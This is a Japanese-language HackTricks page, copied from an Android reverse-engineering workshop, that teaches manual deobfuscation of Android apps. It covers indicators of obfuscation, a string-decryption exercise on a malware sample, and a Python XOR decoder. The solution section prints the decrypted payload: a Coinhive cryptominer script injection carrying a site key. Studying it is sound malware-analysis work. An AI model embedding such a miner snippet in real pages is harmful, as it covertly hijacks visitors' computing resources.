hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md

12 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

以下はhttps://maddiestone.github.io/AndroidAppRE/obfuscation.htmlからのコピーです(解決策はそこで見つけることができます)

Logo

アプリケーションをリバースエンジニアリングする際、いくつかの例で議論したように単純ではない場合が多々あります。開発者は、アプリの動作や実装を隠すために、1つ以上の難読化技術を実装することがあります。これは良性の理由でも悪意のある理由でもあり得ます。

難読化について覚えておくべき鍵は、それを解読したい場合はいつでも解読できるということです。重要なのは、解読できるかどうかではなく、解読するためのリソースを費やす価値があるかどうかです。

何かを常に解読できる理由は、最終的にCPUがいずれかの時点で難読化されていないコードを見て実行する必要があるからです。

難読化の解除方法

アプリケーションの難読化を解除する方法は、難読化の方法によって異なりますが、通常うまく機能するいくつかの共通の技術があります。ここでは、このワークショップが静的な分析/リバースエンジニアリングのみをカバーしているため、静的な難読化解除技術にのみ触れます。しかし、アプリケーションを実行して動的に分析することも、難読化を回避するための別の素晴らしい方法であることを覚えておいてください。

DEXバイトコードJava内の難読化については、静的に難読化を解除する最も簡単な方法の1つは、アプリケーション内の難読化解除メソッドを特定し、そのデコンパイルをJavaファイルにコピーして、難読化されたファイル、文字列、コードなどに対して実行することです。

Javaとネイティブコードの両方に対する別の解決策は、難読化アルゴリズムをPythonまたは他のスクリプト言語に転写することです。私が「転写」と言うのは、難読化アルゴリズムを*理解*する必要は常にあるわけではなく、実行する方法が必要だからです。これについては、「More Examples」セクションにリンクされている「Unpacking the Packed Unpacker」トークで詳しく説明しています。

難読化の指標

難読化の種類は多岐にわたるため、それに応じて多くの異なるタイプの指標があり、アナリストがアプリケーションが難読化されている可能性が高いことを警告しますが、ここではいくつかの例とそれを解読するための静的分析ソリューションを提案します。

  • 文字列がない: JavaとAndroidは文字列に大きく依存しているため、文字列が見当たらない、またはスクランブルされた文字列しかない場合、文字列が難読化されている可能性が非常に高いです。
  • 提案された解決策: 文字列を引数として取るメソッド呼び出しを探し、その引数がどこから来ているかをたどります。いずれにせよ、文字列引数はAPIに渡される前に難読化解除メソッドを通過しています。
  • スクランブルされた文字列: JavaとAndroidのAPIは、スクランブルされた文字列ではなく、プレーンテキストの文字列を必要とします。
  • 提案された解決策: スクランブルされた文字列はすべて、APIに渡される前に同じメソッドに渡される可能性が高いです。これらのメソッドは難読化解除メソッドである可能性があります。
  • assets/ディレクトリ内のバイナリファイルとアプリ内のDexClassLoader呼び出し: 追加のコードをアンパックしてロードしている可能性があります。リモートの場所からダウンロードしてDexClassLoaderを使用してロードすることもあります
  • 提案された解決策: ファイルが読み込まれる場所を特定し、そのパスをたどります。読み込まれた直後に難読化が解除される可能性が高いです。
  • ネイティブライブラリ - JNI関数を特定できないJava_という名前の関数がなく、RegisterNativesへの呼び出しがない: ネイティブメソッドを実行するためには、JNIがネイティブライブラリ内の関数とJava内のネイティブメソッド宣言をペアリングできる必要があります。したがって、そのどちらかがいずれかの時点で存在する必要があります。
  • 提案された解決策: JNI_OnLoadメソッドから始めて、追加のコードをロードする難読化解除ルーチンを探します。

練習問題7 - 文字列の難読化解除

この練習では、アプリケーションの分析のために文字列の難読化を解除する方法を実践します。練習にはVMの~/samples/ClashOfLights.apkにあるサンプルを使用します。このサンプルのSHA256ダイジェストはc403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5です。

目標

難読化された文字列を特定し、それを解読するためのソリューションを開発する。

練習の文脈

あなたはマルウェアアナリストで、このアプリケーションがマルウェアかどうかを判断するためにレビューしています。難読化されたJavascript文字列がロードされていることに気づき、アプリケーションを動的に実行することができず、Javascriptが何であるかを静的に判断する必要があります。

指示

  1. 解読する必要のある文字列を見つける
  2. それを解読するルーチンを特定する。
  3. 文字列を解読するためのソリューションをどのように書くかを決定する。
  4. 実行する :)

解決策

解読された文字列は:

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

Pythonスクリプトを使用して難読化を解除する方法は次のとおりです。

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)

その他の例

私は、さまざまな難読化メカニズムを含むAndroidアプリの難読化解除についていくつかの講演を行いました。これらの講演では、高度な難読化技術、それらを解読するための私の解決策、そして難読化を解除する方法を決定する際に考慮した点や選択肢について議論しています。

  • BlackHat USA 2018: 「Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library」 [動画]
  • この講演では、Androidアプリケーションが使用していた最も複雑なアンチ分析ネイティブライブラリのリバースエンジニアリングについて説明しており、主にネイティブコードの難読化技術に焦点を当てています。
  • REcon 2019: 「The Path to the Payload: Android Edition」 [動画]
  • この講演では、Androidボットネットがその振る舞いを隠すために使用していた、Javaコードのみの一連の難読化技術について議論しています。
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法: